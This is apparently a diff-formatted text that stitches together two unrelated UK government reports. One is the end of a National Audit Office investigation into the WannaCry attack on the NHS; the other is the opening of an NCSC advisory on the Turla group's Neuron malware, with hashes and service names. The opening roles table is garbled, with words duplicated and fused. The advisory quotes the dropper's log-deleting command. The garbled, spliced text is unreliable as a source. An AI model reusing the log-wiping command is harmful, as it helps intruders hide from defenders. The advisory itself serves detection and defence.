+(non-mandatory)policies
+policies
+andprinciples,
+principles,although
+althoughall
+departments
+departmentsand
+andbodies
+bodiesare
+accountable
+accountableand
+andresponsible
+responsible
+fortheir
+theirown
+owncyber-security
+cyber-security
+Cabinet
+CabinetOffice
+Office
+GCHQ
+GCHQ
+National
+NationalCyber
+Cyber
+Security
+SecurityCentre
+Centre
+National
+NationalCrime
+Crime
+Agency
+Agency
+Home
+HomeOffice
+Office
+Keyguidance
+guidanceisispublished
+publishedby
+theNational
+NationalCyber
+CyberSecurity
+Security
+Centre,
+Centre,and
+andititisissupported
+supported
+bythe
+theNational
+NationalCrime
+CrimeAgency
+Agency
+ininleading
+leadingthe
+theresponse
+response
+tomajor
+majorcyber-security
+cyber-security
+incidents
+incidentsininthe
+theUK,
+UK,including
+including
+criminal
+criminalinvestigations
+investigations
+Department
+Departmentof
+ofHealth
+Health
+Lead
+Leadgovernment
+governmentDepartment
+Departmentand
+andleads
+leadsthe
+thehealth
+healthand
+andcare
+caresystem,
+system,including
+includingoverseeing
+overseeingcyber-security
+cyber-securityresilience
+resilienceand
+andincident
+incidentresponses
+responses
+Manages
+Managesthe
+theinterface
+interfacebetween
+betweenhealth
+healthand
+andsocial
+socialcare
+carewith
+withthe
+theCabinet
+CabinetOffice,
+Office,other
+othergovernment
+governmentdepartments
+departmentsand
+andagencies
+agencies
+During
+Duringaacyber
+cyberincident
+incidentcoordinates
+coordinatesbriefings
+briefingsto
+toministers
+ministersand
+andthe
+theNational
+NationalData
+DataGuardian
+Guardian
+Coordinates
+Coordinatesinvolvement
+involvementinincentral
+centralgovernment
+governmentresponses
+responsesto
+toincidents
+incidents
+Contributes
+Contributesto
+tocross-government
+cross-governmentbriefings
+briefingswhen
+whenresponding
+respondingto
+toaamajor
+majorincident,
+incident,including
+includingwhen
+whenaaCOBRA
+COBRAresponse
+responseisiscalled
+called
+Coordinates
+Coordinatespublic
+publiccommunications
+communicationsininagreement
+agreementwith
+withother
+otherorganisations
+organisations
+National
+NationalInformation
+InformationBoard
+Board
+NHSEngland
+England
+NHSDigital
+Digital
+Provides
+Providesleadership
+leadershipacross
+across
+thehealth
+healthand
+andcare
+caresector
+sectoron
+IT,including
+includingsetting
+settingannual
+annual
+commissioning
+commissioningpriorities
+prioritiesfor
+NHSDigital
+Digitaland
+andturning
+turningthese
+these
+into
+intoan
+anagreed
+agreeddelivery
+deliveryplan
+plan
+Provides
+Providesinformation
+informationabout
+aboutcyber-security
+cyber-securityto
+tocommissioners
+commissioners
+Works
+Workswith
+withlocal
+localhealthcare
+healthcareto
+understand
+understandand
+andadvise
+adviseon
+ontheir
+their
+cyber-security
+cyber-securityrequirements
+requirements
+Works
+Workswith
+withclinical
+clinicalcommissioning
+commissioninggroups
+groups(CCGs),
+(CCGs),
+commissioning
+commissioningsupport
+supportunits
+unitsand
+andaudit
+auditchairs
+chairsat
+ataaleadership
+leadership
+level
+levelto
+tosupport
+supportboard
+boardownership
+ownershipof
+ofcyber-security
+cyber-securityand
+andoverall
+overall
+response
+responsewhen
+whencyber
+cyberincidents
+incidentsoccur
+occur
+Responsible
+Responsiblefor
+forhelping
+helpingto
+toembed
+embedcyber-security
+cyber-securitystandards
+standards
+ininthe
+thehealth
+healthsector,
+sector,eg
+egthrough
+throughthe
+theNHS
+NHSStandard
+StandardContract
+Contract
+andthrough
+throughthe
+theinclusion
+inclusionof
+ofrequirements
+requirementsfor
+forservices
+servicesitit
+commissions,
+commissions,such
+suchas
+asIT
+ITfor
+forgeneral
+generalpractioners
+practioners
+National
+NationalData
+DataGuardian
+Guardian
+Provides
+Providesindependent
+independentadvice
+advice
+ondata-sharing
+data-sharingand
+andsecurity
+security
+Must
+Mustbe
+beinformed
+informedabout
+aboutall
+cyber-security
+cyber-securityincidents
+incidentsat
+atthe
+same
+sametime
+timeas
+asministers
+ministers
+Communicates
+Communicatesits
+itsrole
+roleininmanaging
+managing
+cyber-security
+cyber-securityand
+andincidents
+incidentsto
+toother
+other
+healthcare
+healthcareorganisations
+organisations
+Maintains
+Maintainskey
+keyIT
+ITsystems
+systemsused
+usedby
+byhealthcare
+healthcare
+organisations,
+organisations,such
+suchas
+asN3
+N3and
+andSPINE
+SPINE
+Responsible
+Responsiblefor
+forensuring
+ensuringCCGs
+CCGsand
+andproviders
+providers(eg
+(egtrusts)
+trusts)have
+have
+appropriate
+appropriateplans
+plansininplace
+placeto
+torespond
+respondto
+toan
+anincident
+incidentor
+oremergency
+emergency
+Provides
+Providesadvice
+adviceto
+tothe
+thehealth
+healthand
+andsocial
+social
+care
+caresystem
+systemabout
+abouthow
+howto
+toprotect
+protectagainst,
+against,
+orrespond
+respondto,
+to,aacyber
+cyberincident
+incident
+Lead
+Leadorganisation
+organisationwhen
+whenmajor
+majorincident
+incidentcalled.
+called.Coordinates
+Coordinatesthe
+control
+controlof
+ofan
+anincident
+incidentthrough
+throughits
+itsEmergency
+EmergencyPreparedness,
+Preparedness,
+Resilience
+Resilienceand
+andResponse
+Response(EPRR)
+(EPRR)structures
+structureswhere
+whereappropriate
+appropriate
+Provides
+Providesadvice
+adviceand
+andsupport
+supportto
+tohealth
+health
+organisations
+organisationsduring
+duringaacyber
+cyberincident,
+incident,
+through
+through
+CareCERT
+CareCERTReact
+React
+Communicates
+Communicatesto
+tothe
+thehealthcare
+healthcaresystem
+systemabout
+aboutthe
+thepractical
+practicaland
+clinical
+clinicalsteps
+stepsto
+tobe
+betaken
+takenininresponse
+responseto
+toan
+anincident
+incidentwhen
+whenrequired
+required
+Works
+Worksto
+tounderstand
+understandand
+andrespond
+respondto
+cyber
+cyberincidents
+incidentson
+onnational
+nationalsystems
+systemsor
+onhealthcare
+healthcareIT
+ITnetworks
+networks
+Does
+Doesthis
+thisthrough
+throughdigital
+digitalteams
+teamsat
+atregional
+regionallevel.
+level.These
+Theseteams
+teams
+coordinate
+coordinatewith
+withNHS
+NHSEngland
+England
+scentral
+centralcyber
+cyberteam
+teamand
+andwith
+with
+NHSDigital
+Digital
+Notifies
+Notifiesand
+andworks
+workswith
+withthe
+theNational
+NationalCyber
+Cyber
+Security
+SecurityCentre
+Centreto
+torespond
+respondto
+tocyber
+cyberincidents
+incidents
+209 clinical
+clinical commissioning
+commissioning groups
+groups
+Responsible
+Responsible for
+for following
+following standards
+standards set
+set by
+by the
+the Department
+Department and
+and its
+its arm
+s-length
+s-length bodies,
+bodies, for
+for protecting
+protecting the
+the data
+data they
+they hold
+hold according
+according to
+to the
+the Data
+Data
+Protection
+Protection Act
+Act 1998,
+1998, and
+and for
+for having
+having arrangements
+arrangements inin place
+place to
+to respond
+respond to
+to an
+an incident
+incident or
+or emergency,
+emergency, under
+under the
+the Civil
+Civil Contingencies
+Contingencies Act
+Act 2004
+2004
+Other
+Other government
+government
+Health
+Health sector
+sector
+Source:
+Source:National
+NationalAudit
+AuditOffi
+Office
+ceanalysis
+analysisof
+ofDepartment
+Departmentof
+ofHealth
+Healthand
+andNHS
+NHSEngland
+Englanddata
+data
+Investigation: WannaCry cyber attack and the NHS Part Three 23
+<Multiple intersecting links>
+NHSImprovement
+Improvement
+Care
+CareQuality
+QualityCommission
+Commission
+Communicates
+Communicatesinformation
+informationabout
+aboutcyber-security
+cyber-securityto
+totrusts
+trusts
+andother
+otherhealthcare
+healthcareproviders
+providers
+Assesses
+Assessesand
+andregulates
+regulatesthe
+thesafety
+safety
+ofpatient
+patientcare
+care
+Works
+Workswith
+withtrusts
+trustsat
+ataaleadership
+leadershiplevel
+levelto
+tosupport
+supportboard
+board
+ownership
+ownershipof
+ofcyber-security
+cyber-securityand
+andoverall
+overallresponse
+responseto
+cyber
+cyberincidents
+incidents
+Assesses
+Assessesthe
+theadequacy
+adequacyof
+ofleadership
+leadership
+including
+includingininensuring
+ensuringdata
+datasecurity
+security
+Works
+Workswith
+withsenior
+seniorhealthcare
+healthcareleaders
+leadersto
+toensure
+ensurerecommended
+recommended
+actions
+actionsfor
+forcyber
+cyberresilience
+resilienceare
+areimplemented,
+implemented,and
+andacts
+actsas
+asan
+escalation
+escalationpoint
+pointwhen
+whencyber
+cyberincidents
+incidentsoccur
+occur
+Takes
+Takesaccount
+accountof
+ofdata
+datasecurity
+securityininreaching
+reaching
+judgements
+judgementson
+onwell-led
+well-ledorganisations
+organisations
+Attains
+Attainsassurance
+assurancethat
+thatfollow-up
+follow-upactions
+actionsto
+toincrease
+increaseresilience
+resilience
+have
+havebeen
+beenimplemented
+implementedby
+byhealthcare
+healthcareproviders
+providers
+Considers
+Considersdata
+datasecurity
+securityduring
+duringits
+itsoversight
+oversightof
+oftrusts
+trusts
+through
+throughthe
+theSingle
+SingleOversight
+OversightFramework
+Frameworkand
+andas
+aspart
+partof
+ofits
+decision-making
+decision-makingon
+ontrusts
+trustswho
+whoare
+areininspecial
+specialmeasures
+measures
+Works
+Workswith
+withNHS
+NHSEngland
+Englandto
+tocommunicate
+communicateto
+tothe
+thehealthcare
+healthcare
+system
+systemduring
+duringaacyber
+cyberincident,
+incident,ininparticular
+particularthrough
+throughthe
+chief
+chiefinformation
+informationofficer
+officer(CIO)
+(CIO)for
+forthe
+thehealth
+healthand
+andcare
+caresystem
+system
+(who
+(whoworks
+worksacross
+acrossNHS
+NHSImprovement
+Improvementand
+andNHS
+NHSEngland)
+England)
+236NHS
+NHStrusts
+trustsand
+andNHS
+NHSfoundation
+foundationtrusts
+trusts
+Responsible
+Responsiblefor
+forfollowing
+followingstandards
+standardsset
+setby
+bythe
+theDepartment
+Departmentand
+andits
+itsarm
+s-length
+s-lengthbodies
+bodiesfor
+forprotecting
+protectingthe
+thedata
+datathey
+they
+hold
+holdaccording
+accordingto
+tothe
+theData
+DataProtection
+ProtectionAct
+Act1998,
+1998,and
+andfor
+forhaving
+havingarrangements
+arrangementsininplace
+placeto
+torespond
+respondto
+toan
+anincident
+incidentor
+emergency,
+emergency,under
+underthe
+theCivil
+CivilContingencies
+ContingenciesAct
+Act2004
+2004
+24 Part Three Investigation: WannaCry cyber attack and the NHS
+How the cyber attack was managed
+3.3 Before the WannaCry attack the Department had developed a plan for responding
+to a cyber attack, which included roles and responsibilities of national and local
+organisations. However, the Department had not tested the plan at a local level. This
+meant the NHS was not clear what actions it should take when affected by WannaCry,
+including how it should respond at a local level. On 12 May 2017, NHS England
+determined that it should declare a national major incident and decided that it would
+lead the response, coordinating with NHS Digital and NHS Improvement. NHS England
+treated the attack as a major operational incident through its existing Emergency
+Preparedness, Resilience and Response (EPRR) processes. However, as NHS England
+had not rehearsed its response to a cyber attack it faced a number of challenges. The
+cyber attack was less visible than other types of incident and not confined to local areas
+or regions in the way a major transport accident would have been, for example. This
+meant that it took more time to determine the cause of the problem, the scale of the
+problem and the number of people and organisations affected.
+3.4 Without clear guidelines on responding to a national cyber attack, organisations
+reported the attack to different sources including the local police, NHS England and
+NHS Digital. For the same reason communications to patients and local organisations
+also came from a number of sources. These included the National Cyber Security
+Centre, which was providing support to all UK organisations affected by the attack,
+NHS England and NHS Digital. In addition, the use of email for communication was
+limited, although NHS Improvement did communicate with trusts
+ chief executive officers
+by telephone. Affected trusts shut down IT systems, including some trusts disconnecting
+from NHS email and the N3 network as a precautionary measure.5 The Department
+coordinated the response with the centre of government, briefing ministers, liaising
+with the National Cyber Security Centre and National Crime Agency, and overseeing
+NHS England
+s and NHS Digital
+s operational response.
+3.5 Affected trusts were triaged through the EPRR route and, where necessary,
+received assistance from national bodies, including advice and physical technical
+support from NHS Digital, which sent 54 staff out to hospitals to provide direct support.
+Staff at the Department, NHS England, NHS Improvement and NHS Digital, as well
+as large numbers of staff in other organisations across the NHS, worked through the
+weekend to resolve the problem and avoid further problems on Monday. NHS England
+IT team did not have on-call arrangements in place, but staff came in voluntarily to help
+resolve the issue. Front-line NHS staff adapted to communication challenges and shared
+information through personal mobile devices, including using the encrypted WhatsApp
+application. NHS national bodies and trusts told us that this worked well on the day
+although is not an official communication channel.
+N3 is the broadband network connecting all NHS sites in England.
+Investigation: WannaCry cyber attack and the NHS Part Three 25
+The risk of a cyber attack had been identified before WannaCry
+3.6 The Secretary of State for Health asked the National Data Guardian and CQC
+to undertake reviews of data security. These reports were published in July 2016 and
+warned the Department about the cyber threat and the need for the Department to
+respond to it. They noted the threat of cyber attacks not only put patient information
+at risk of loss or compromise but also jeopardised access to critical patient record
+systems by clinicians. They recommended that all health and care organisations needed
+to provide evidence that they were taking action to improve cyber-security, such as
+through the 
+Cyber Essentials
+ scheme.6
+3.7 Although WannaCry was the largest cyber-security incident to affect the
+NHS, individual NHS organisations had been victims of other attacks in recent
+years (Figure 5 overleaf). WannaCry infected one of England
+s biggest trusts, Barts
+Health NHS Trust. This was the second cyber attack to affect the trust in six months.
+A ransomware attack had also affected Northern Lincolnshire and Goole NHS Foundation
+Trust in October 2016, which had led to it cancelling 2,800 appointments.
+Lessons learned
+3.8 The NHS has accepted that there are lessons to learn from WannaCry and is
+already taking action. The NHS has identified the need to improve the protection of
+services from future cyber attacks. These include the need to:
+develop a response plan setting out what the NHS should do in the event of a
+cyber attack and establish the roles and responsibilities of local and national
+NHS bodies and the Department;
+ensure organisations implement critical CareCERT alerts, including applying
+software patches and keeping anti-virus software up to date and identifying;
+ensure essential communications are getting through during an incident
+when systems are down; and
+ensure that organisations, boards and their staff are taking the cyber threat
+seriously, understand the direct risks to front-line services and are working
+proactively to maximise their resilience and minimise the impact on patient care.
+3.9 Following the WannaCry attack, NHS England and NHS Improvement wrote to
+every trust, clinical commissioning group and commissioning support unit asking boards
+to ensure that they had implemented all 39 CareCERT alerts issued by NHS Digital
+between March and May 2017 and had taken essential action to secure local firewalls.
+Cyber Essentials is a government-designed cyber-security certification scheme that sets out a baseline of
+cyber
+security and can be used by any organisation in any sector, see: www.cyberaware.gov.uk/cyberessentials/
+Source: National Audit Office
+Lasted four days and affected more than 2,800 patients
+Trust resolved the issue, liaising with external
+cyber-security company and police
+Cancelled appointments, operations and diagnostic
+procedures. High-risk women in labour had to be
+transferred to other hospitals
+Princess of Wales Hospital, Scunthorpe General
+Hospital and Goole and District Hospital affected as
+well as United Lincolnshire Hospital NHS Trust due to
+shared IT access
+2016
+2016 
+ Royal Cornwall Hospitals NHS Trust had been
+infected by a cyber attack once before 2016, and was
+the subject of multiple, unsuccessful attacks during 2016
+At least 2000 current and former staff
+thought to have had details compromised
+Shut down file-sharing system to investigate the attack
+Initially reported to be ransomware but later concluded by the
+trust to be Trojan malware, which was successfully contained
+Landauer was employed by the NHS to
+monitor radiation levels among staff
+2017
+12 May 2017 
+ Global WannaCry
+attack affects the NHS
+28 February 2017 
+ Private files
+stolen from Landauer, which has
+personal details of NHS staff
+7 February 2017 ISIS-linked
+hackers display graphic
+images on NHS websites
+The Royal London, St Bartholomew
+s, Whipps Cross and
+Newham hospitals were affected.
+30 October 2016 
+ Variant of Globe2 ransomware
+attack on the Northern Lincolnshire and Goole
+NHS Foundation Trust
+13 January 2017 
+ Barts Health
+NHS Trust, one of the largest trusts
+in the NHS, suffers cyber attack
+The NHS had experienced a number of cyber attacks prior to the WannaCry attack
+Figure 5
+Cyber attacks on the NHS in 2016 and 2017 before 12 May 2017
+Figure 5 shows that the NHS had experienced a number cyber attacks prior to the WannaCry attack
+26 Part Three Investigation: WannaCry cyber attack and the NHS
+Investigation: WannaCry cyber attack and the NHS Part Three 27
+3.10 NHS England and NHS Improvement are talking to every major trauma centre
+and ambulance trust, and will reprioritise 
+21 million in capital funding from existing
+IT budgets to improve cyber-security in major trauma centres. NHS Digital has built a
+new CareCERT Collect portal to provide assurance that trusts have implemented cyber
+alerts and to collect central data on IT and digital assets in the NHS. Since 2015, the
+Department has made 
+50 million available to provide central support to the health and
+care system through the CareCERT suite of services.
+3.11 Following the WannaCry attack, in July 2017 the Department published its
+response to the National Data Guardian and CQC recommendations. The response built
+on existing work to strengthen cyber-security in the NHS, involving the Department and
+its arm
+s-length bodies. For example, NHS Digital was developing its existing services to
+support local organisations, including broadcasting alerts about cyber threats, providing
+a hotline for dealing with incidents, sharing best practice across the health system and
+carrying out on-site assessments to help protect against future cyber attacks; and
+NHS England had embedded the 10 Data Security Standards, recommended by the
+National Data Guardian, in the standard NHS contract for 2017-18, and was providing
+training to its Board and local teams to raise awareness of cyber threats. The Department
+also told us that a revised version of the Information Governance Toolkit is being developed
+for use in 2018-19, and that the inspection framework used by the CQC will be updated to
+incorporate the data standards.7
+The Information Governance Toolkit draws together the legal rules and central guidance issued by the Department
+of Health, and presents them in a single standard as a set of information governance requirements. All health and
+social care providers, commissioners and suppliers are required to carry out self-assessments of their compliance
+against these requirements. The Toolkit is commissioned by the Department and is maintained by NHS Digital.
+See www.igt.hscic.gov.uk/
+28 Appendix One Investigation: WannaCry cyber attack and the NHS
+Appendix One
+Our investigative approach
+Scope
+We conducted an investigation into the WannaCry cyber attack that affected
+the NHS in England on 12 May 2017. We investigated:
+the WannaCry attack
+s impact on the NHS and its patients;
+why some parts of the NHS were affected; and
+how the Department, NHS national bodies (NHS England, NHS Digital and
+NHS Improvement) and other national bodies, such as the National Cyber
+Security Centre and National Crime Agency, responded to the incident.
+Methods
+In examining the issues in paragraph one, we drew on a variety of evidence sources.
+We conducted semi-structured interviews with officials from:
+Department of Health
+NHS England
+NHS Digital
+NHS Improvement
+Care Quality Commission
+National Cyber Security Centre
+National Crime Agency
+Cabinet Office.
+Investigation: WannaCry cyber attack and the NHS Appendix One 29
+We visited four local trusts to examine their roles and responsibilities in relation to
+cyber-security; the impact of WannaCry on the trust and its patients; and how the trust
+responded to the incident:
+Barts Health NHS Trust;
+Bedford Hospital NHS Trust;
+Northern Lincolnshire and Goole NHS Foundation Trust; and
+the Royal Marsden NHS Foundation Trust.
+We reviewed documents relating to the WannaCry ransomware attack including
+documents setting out roles and responsibilities for cyber-security in the NHS and
+across the wider public sector. We also reviewed published and unpublished research
+and reports relating to the NHS and WannaCry and cyber-security more generally.
+We carried out analysis of data provided by NHS England, NHS Digital and the
+Care Quality Commission.
+30 Appendix Two Investigation: WannaCry cyber attack and the NHS
+Appendix Two
+Trusts infected or disrupted by WannaCry
+Figure 6
+Trusts infected, or affected, by the WannaCry attack
+Trusts infected by WannaCry, and locked out of devices
+Barts Health NHS Trust
+Lancashire Care NHS Foundation Trust
+Birmingham Community Healthcare
+NHS Foundation Trust
+Lancashire Teaching Hospital NHS Trust
+Blackpool Teaching Hospitals
+NHS Foundation Trust
+Bradford District Care NHS Foundation Trust
+Bridgewater Community Healthcare
+NHS Foundation Trust
+Central Manchester University Hospitals
+NHS Foundation Trust
+Colchester Hospital University
+NHS Foundation Trust
+Mid Essex Hospital Services NHS Trust
+Norfolk and Norwich University Hospital
+NHS Foundation Trust
+North Cumbria University Hospitals NHS Trust
+Northern Lincolnshire and Goole
+NHS Foundation Trust
+Northumbria Healthcare NHS Foundation Trust
+Nottinghamshire Healthcare NHS Foundation Trust
+Plymouth Hospitals NHS Trust
+Cumbria Partnership NHS Foundation Trust
+Royal Berkshire Hospital NHS Foundation Trust
+East and North Hertfordshire NHS Trust
+Salford Royal NHS Foundation Trust
+East Cheshire NHS Trust
+Shrewsbury and Telford Hospital NHS Trust
+East Lancashire Teaching Hospitals NHS Trust
+Solent NHS Trust
+Essex Partnership University NHS Foundation Trust
+Southport and Ormskirk Hospital NHS Trust
+George Eliot Hospital NHS Trust
+The Dudley Group NHS Foundation Trust
+Greater Manchester Mental Health
+NHS Foundation Trust
+United Lincolnshire Hospitals NHS Trust
+Hampshire Hospitals NHS Foundation Trust
+Hull and East Yorkshire Hospitals NHS Trust
+Humber NHS Foundation Trust
+James Paget University Hospitals
+NHS Foundation Trust
+Source: NHS England
+Figure 6 shows Trusts infected, or affected, by the WannaCry attack
+University Hospitals of Morecambe Bay
+NHS Foundation Trust
+Wrightington, Wigan and Leigh
+NHS Foundation Trust
+York Teaching Hospitals NHS Foundation Trust
+Investigation: WannaCry cyber attack and the NHS Appendix Two 31
+Trusts not infected by WannaCry but known to have experienced disruption
+Airedale NHS Foundation Trust
+Leicestershire Partnership NHS Trust
+Ashford and St Peters Hospitals
+NHS Foundation Trust
+Lincolnshire Community Health Services NHS Trust
+Barking, Havering and Redbridge University
+Hospitals NHS Trust
+Barnsley Hospital NHS Foundation Trust
+Bedford Hospital NHS Trust
+Bradford Teaching Hospitals NHS Foundation Trust
+Brighton and Sussex University Hospitals NHS Trust
+Buckinghamshire Healthcare NHS Foundation Trust
+Calderdale and Huddersfield NHS Foundation Trust
+Central London Community Healthcare NHS Trust
+Chelsea and Westminster Hospital
+NHS Foundation Trust
+Doncaster and Bassetlaw Hospitals
+NHS Foundation Trust
+Dorset Healthcare NHS Foundation Trust
+East Kent Hospitals University
+NHS Foundation Trust
+Great Ormond Street Hospital
+NHS Foundation Trust
+s and St Thomas
+ NHS Foundation Trust
+Harrogate and District NHS Foundation Trust
+Kettering General Hospital NHS Foundation Trust
+Kingston Hospital NHS Trust
+Leeds and York Partnership NHS Foundation Trust
+Leeds Community Healthcare NHS Trust
+Leeds Teaching Hospitals NHS Trust
+Source: NHS England
+Lincolnshire Partnership NHS Trust
+London North West Healthcare NHS Trust
+Luton and Dunstable NHS Trust
+Mid Yorkshire Hospitals NHS Trust
+Moorfields Eye Hospital NHS Foundation Trust
+North West Ambulance Service NHS Trust
+Northampton General Hospital NHS Trust
+Northamptonshire Healthcare
+NHS Foundation Trust
+Rotherham, Doncaster and South Humber
+NHS Foundation Trust
+Sheffield Children
+s NHS Foundation Trust
+Sheffield Health and Social Care
+NHS Foundation Trust
+Sheffield Teaching Hospitals NHS Foundation Trust
+South West Yorkshire Partnership
+NHS Foundation Trust
+South Western Ambulance Service
+NHS Foundation Trust
+Sussex Community NHS Foundation Trust
+The Rotherham NHS Foundation Trust
+University Hospitals of Leicester NHS Trust
+West Hertfordshire Hospitals NHS Trust
+West London Mental Health NHS Trust
+Yorkshire Ambulance Service NHS Trust
+This report has been printed on Evolution
+Digital Satin and contains material sourced
+from responsibly managed and sustainable
+forests certified in accordance with the FSC
+(Forest Stewardship Council).
+The wood pulp is totally recyclable and
+acid-free. Our printers also have full ISO 14001
+environmental accreditation, which ensures
+that they have effective procedures in place to
+manage waste and practices that may affect
+the environment.
+10.00
+ISBN 978-1-78604-147-0
+Design and Production by NAO External Relations
+DP Ref: 11594-001
+9 781786 041470
+TLP WHITE
+Turla group using Neuron
+and Nautilus tools alongside
+Snake malware
+Version 2.0
+Reference: NCSC-Ops/35-17
+23 November 2017
+ Crown Copyright 2017
+TLP WHITE
+Page 1 of 27
+TLP WHITE
+About this document
+This report provides new intelligence by the NCSC on two tools used by the Turla
+group to target the UK. It contains IOCs and signatures for detection by network
+defenders.
+Handling of the Report
+Information in this report has been given a Traffic Light Protocol (TLP) of WHITE,
+which means it can be shared within and beyond the CiSP community with no
+handling restrictions.
+Disclaimer
+This report draws on reported information and NCSC investigations into Turla activity
+in the UK.
+TLP WHITE
+Page 2 of 27
+TLP WHITE
+Contents
+Introduction............................................................................................................................................ 4
+Neuron Analysis ................................................................................................................................... 5
+Neuron Service ................................................................................................................................. 6
+Associated Files ........................................................................................................................... 6
+Infection Vector & Install ............................................................................................................. 7
+Persistence.................................................................................................................................... 7
+Network Communications ........................................................................................................... 8
+Capabilities .................................................................................................................................. 10
+Neuron Client .................................................................................................................................. 10
+Associated Files ......................................................................................................................... 10
+Persistence.................................................................................................................................. 11
+Configuration ............................................................................................................................... 12
+Network Communications ......................................................................................................... 12
+Capability ..................................................................................................................................... 13
+Associated Files ......................................................................................................................... 15
+Configuration ............................................................................................................................... 15
+Communications ......................................................................................................................... 17
+Capability ..................................................................................................................................... 18
+Appendix A .......................................................................................................................................... 20
+Neuron Client .................................................................................................................................. 20
+Neuron Service ............................................................................................................................... 21
+Neuron Yara .................................................................................................................................... 22
+Nautilus ................................................................................................................................................ 25
+Nautilus Yara................................................................................................................................... 25
+Additional Indicators for Forensic Analysis .................................................................................... 27
+TLP WHITE
+Page 3 of 27
+TLP WHITE
+Introduction
+Neuron and Nautilus are malicious tools designed to operate on Microsoft Windows
+platforms, primarily targeting mail servers and web servers. The NCSC has observed
+these tools being used by the Turla group to maintain persistent network access and
+to conduct network operations.
+The Turla group use a range of tools and techniques, many of which are custom. Using
+their advanced toolkit, the Turla group compromise networks for the purposes of
+intelligence collection. The Turla group is known to target government, military,
+technology, energy and commercial organisations.
+The Turla group has operated on targets using a rootkit known as Snake for many
+years. Like Neuron and Nautilus, Snake provides a platform to steal sensitive data,
+acts as a gateway for internal network operations and is used to conduct onward
+attacks against other organisations.
+The Turla group are experienced in maintaining covert access through incident
+response activities. They infect multiple systems within target networks and deploy a
+diverse range of tools to ensure that they retain a foothold back onto a victim even
+after the initial infection vector has been mitigated.
+The NCSC has observed both Neuron and Nautilus being used in conjunction with the
+Snake rootkit. In a number of instances, one or both of these tools has been deployed
+following the successful installation of Snake. The NCSC believes that Neuron and
+Nautilus are another component of the wider Turla campaign and are not acting as
+replacements for the Snake rootkit. It is likely that these tools have seen wider
+deployment since the Snake rootkit has been reported on by the information security
+industry, providing the group with additional methods of access.
+This advisory provides information to detect Neuron and Nautilus infections. The
+NCSC encourages any organisation that has previously experienced a compromise
+by the Turla group to be diligent in checking for the presence of these additional tools.
+Whilst they are commonly deployed alongside the Snake rootkit, these tools can also
+be operated independently.
+TLP WHITE
+Page 4 of 27
+TLP WHITE
+Neuron Analysis
+Neuron consists of both client and server components. The Neuron client and Neuron
+service are written using the .NET framework with some codebase overlaps.
+The Neuron client is used to infect victim endpoints and extract sensitive information
+from local client machines. The Neuron server is used to infect network infrastructure
+such as mail and web servers, and acts as local Command & Control (C2) for the client
+component. Establishing a local C2 limits interaction with the target network and
+remote hosts. It also reduces the log footprint of actor infrastructure and enables client
+interaction to appear more convincing as the traffic is contained within the target
+network.
+The main method of communication between the Neuron client and service is via
+HTTP requests. The Neuron service creates its own HTTP listener and waits for
+requests to a configured Neuron URL endpoint. These endpoint names are themed
+around legitimate web services, such as Microsoft Exchange and Microsoft IIS, which
+further helps malware traffic appear legitimate. Details of these endpoints are provided
+in the Neuron service communications section of this advisory.
+A subset of Neuron services analysed by the NCSC can receive communications via
+pipes alongside the HTTP listener, however this functionality is missing from some
+samples.
+One of the main pieces of functionality implemented within Neuron is the synchronising
+StorageFile
+ objects and 
+StorageScript
+ objects between the client and service.
+These are described in more detail in the Network Communications section.
+This malware is referred to as 
+Neuron
+ due to the presence of a PDB string within the
+binary and various other references throughout.
+c:\Develop\internal\neuron-client\dropper-svc\obj\Release\dropper-svc.pdb
+TLP WHITE
+Page 5 of 27
+TLP WHITE
+Neuron Service
+The Neuron service is typically installed on compromised infrastructure such as mail
+and web servers, and listens for HTTP requests from infected clients. In this way,
+Neuron service acts as a Command & Control (C2) server inside the victim network
+for infected Neuron clients. While Neuron service examples observed by the NCSC
+have been running on servers, it is also possible for it to be run on Windows clients.
+The installation of a C2 server inside the victim network allows the actor to evade
+detection by network gateway based monitoring. While external communications are
+required for the actor to make connections back to their upstream C2 infrastructure,
+these communications are often encrypted using the legitimate TLS configuration of
+the victim network.
+The Neuron service and client model enables the communications to appear
+legitimate, with endpoint victims running the client, and the actor initiating connections
+to the (typically) outward-facing Neuron infected server.
+Associated Files
+Name
+Microsoft.Exchange.Service.exe
+Description
+Neuron Service
+0f12268221e27406351a6313f902b498
+SHA1
+b0dbdc81a0e367330007b7e593d8dabf92ca7afd
+SHA256
+d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29
+Size
+43008
+Name
+w3wpdiag.exe
+Description
+Neuron Service
+371b4380080e3d94ffcae1a7e9a0d5e2
+SHA1
+f7088075d1c798f27b0d269c97dc877ff16f1401
+SHA256
+2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353
+Size
+59392
+Name
+Updater.exe
+Description
+Neuron Service
+8229622a9790d75e09a099e8758d5703
+SHA1
+10586913ceeecd408da4e656c29ed4e91c6b758e
+SHA256
+2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10
+Size
+44544
+TLP WHITE
+Page 6 of 27
+TLP WHITE
+Name
+w3wpdiag.exe
+Description
+Neuron Service
+a3bdc385cf68019449027bd6d8cecb4d
+SHA1
+fe8da5a1e62a8d4f627834b0f26c802a330d8d45
+SHA256
+0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259
+Size
+58880
+Name
+dropper-svc.exe
+Description
+Dropper for the Neuron service
+d6ef3c8f2c3f3ddffbb70f5dadfa982c
+SHA1
+934b288075c122165897276b360c61e77cb7bde0
+SHA256
+fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb
+Size
+85008
+Infection Vector & Install
+The infection vector for the Neuron service is typically via exploitation of application
+layer vulnerabilities in server software, server misconfigurations, or brute-force attacks
+on administrative accounts.
+Neuron service requires a dropper that essentially performs the same actions as the
+client dropper, embedding the final payload using the same method detailed in the
+Neuron client section. The service dropper takes a parameter of the path where the
+payload will be dropped.
+Following execution, the dropper modifies the last access time of the deployed files to
+match the timestamps of the legitimate file 
+EdgeTransport.exe
+. It is advised that
+forensic investigators conduct a search for files that have this timestamp applied.
+Finally, the dropper executes the following command to remove all installation log files:
+cmd.exe /c del *.InstallLog *.InstallState
+Persistence
+In order to persist on the compromised hosts, Neuron service installs itself as an
+automatic service, allowing the infection to persist through a server restart. The
+Neuron service can be manually stopped and removed, and contains no method of reestablishing execution.
+TLP WHITE
+Page 7 of 27
+TLP WHITE
+The Neuron service attempts to masquerade as legitimate Microsoft Exchange or
+Microsoft IIS services. A list of the service names and descriptions used within Neuron
+samples is as follows:
+SERVICE NAME
+DISPLAY NAME
+DESCRIPTION
+MSExchangeService
